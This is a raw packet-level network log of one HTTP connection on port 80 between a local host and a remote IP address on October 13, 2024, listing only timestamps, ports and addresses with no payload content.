Oct 13, 2024 11:54:11.887659073 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.887690067 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.887693882 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.887741089 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.887749910 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.887775898 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.887798071 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.887825012 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.887836933 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.887887001 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.887891054 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.887921095 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.887950897 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.887969971 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.887972116 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.888022900 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.888029099 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.888056993 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.888079882 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.888091087 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.888119936 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.888124943 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.888142109 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.888158083 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.888180971 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.888191938 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.888219118 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.888223886 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.888246059 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.888257980 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.888273954 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.888290882 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.888315916 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.888324976 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.888338089 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.888359070 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.888380051 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.888394117 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.888418913 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.888426065 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.888453007 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.888461113 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.888478041 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.888494968 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.888520956 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.888531923 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.888560057 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.888566017 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.888582945 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.888602018 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.888622999 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.888634920 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.888662100 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.888670921 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.888684988 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.888701916 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.888730049 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.888735056 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.888751984 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.888770103 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.888792038 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.888801098 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.888814926 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.888834953 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.888854980 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.888866901 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.888899088 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.888901949 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.888920069 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.888931036 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.888958931 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.888979912 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.943552971 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.943629980 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.943692923 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.943742990 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.943778038 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.943797112 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.943797112 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.943797112 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.943797112 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.943809986 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.943842888 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.943892956 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.943895102 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.943895102 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.943895102 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.943949938 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.943958044 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.943984985 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.944015026 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.944019079 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.944035053 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.944051981 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.944075108 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.944101095 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.944108009 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.944153070 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.944159031 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.944186926 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.944209099 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.944217920 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.944242954 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.944269896 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.944272995 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.944304943 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.944327116 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.944355965 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.944369078 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.944430113 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.944434881 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.944464922 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.944489002 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.944498062 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.944526911 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.944534063 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.944557905 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.944572926 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.944597960 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.944608927 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.944633007 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.944660902 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.944664955 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.944694996 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.944717884 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.944747925 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.944756031 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.944797993 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.944804907 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.944832087 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.944854021 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.944883108 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.944890976 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.944916964 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.944943905 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.944952965 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.944969893 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.944987059 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.945019007 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.945024967 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.945038080 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.945060015 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.945080996 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.945092916 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.945121050 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.945128918 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.945147038 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.945180893 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.945224047 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.945259094 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.945281029 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.945291042 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.945312023 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.945327044 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.945350885 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.945360899 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.945377111 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.945395947 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.945419073 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.945431948 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.945463896 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.945465088 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.945482969 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.945497990 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.945519924 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.945532084 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.945557117 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.945564032 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.945579052 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.945599079 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.945620060 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.945632935 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.945657015 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.945667028 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.945693016 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.945717096 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.945725918 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.945755959 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.945777893 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.945789099 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.945813894 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.945823908 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.945848942 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.945852995 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.945875883 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.945884943 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.945905924 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.945919037 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.945943117 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.945950985 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.945975065 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.945985079 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.946005106 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.946017981 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.946043968 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.946052074 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.946069956 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.946085930 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.946115971 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.946125031 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.946146965 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.946157932 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.946177006 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.946192026 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.946213007 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.946225882 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.946249008 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.946261883 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.946289062 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.946322918 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.120429993 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.125808001 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.350292921 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.350356102 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.350393057 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.350423098 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.350455999 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.350490093 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.350521088 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.350521088 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.350554943 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.350590944 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.350689888 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.350722075 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.350725889 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.350725889 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.350725889 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.350725889 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.350725889 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.350756884 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.350789070 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.350821972 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.350855112 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.350887060 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.350919962 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.350956917 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.350989103 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.351013899 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.351013899 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.351013899 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.351013899 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.351013899 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.351013899 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.351013899 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.351013899 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.351022005 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.351054907 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.351057053 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.351057053 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.351089954 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.351094007 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.351113081 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.351144075 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.351155996 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.351195097 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.351203918 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.351250887 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.351253033 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.351301908 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.351309061 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.351336956 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.351360083 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.351406097 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.351423025 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.351474047 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.351483107 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.351509094 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.351532936 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.351560116 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.351569891 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.351613045 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.351614952 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.351646900 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.351671934 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.351680994 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.351703882 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.351731062 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.351739883 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.351768970 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.351790905 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.351802111 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.351835966 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.351851940 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.351869106 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.351878881 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.351900101 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.351902962 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.351926088 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.351937056 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.351967096 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.351970911 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.352003098 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.352010012 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.352032900 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.352035999 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.352051020 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.352087021 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.352092981 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.352138042 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.352144003 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.352173090 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.352196932 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.352206945 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.352240086 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.352241993 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.352260113 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.352273941 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.352296114 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.352307081 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.352387905 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.352399111 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.352421999 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.352433920 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.352463961 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.352473021 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.352485895 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.352524996 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.352530003 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.352580070 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.352582932 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.352629900 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.352639914 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.352663994 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.352689028 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.352696896 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.352730036 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.352735043 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.352756023 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.352763891 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.352782011 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.352797985 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.352819920 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.352830887 CEST	80	49730	185.215.113.37	192.168.2.4
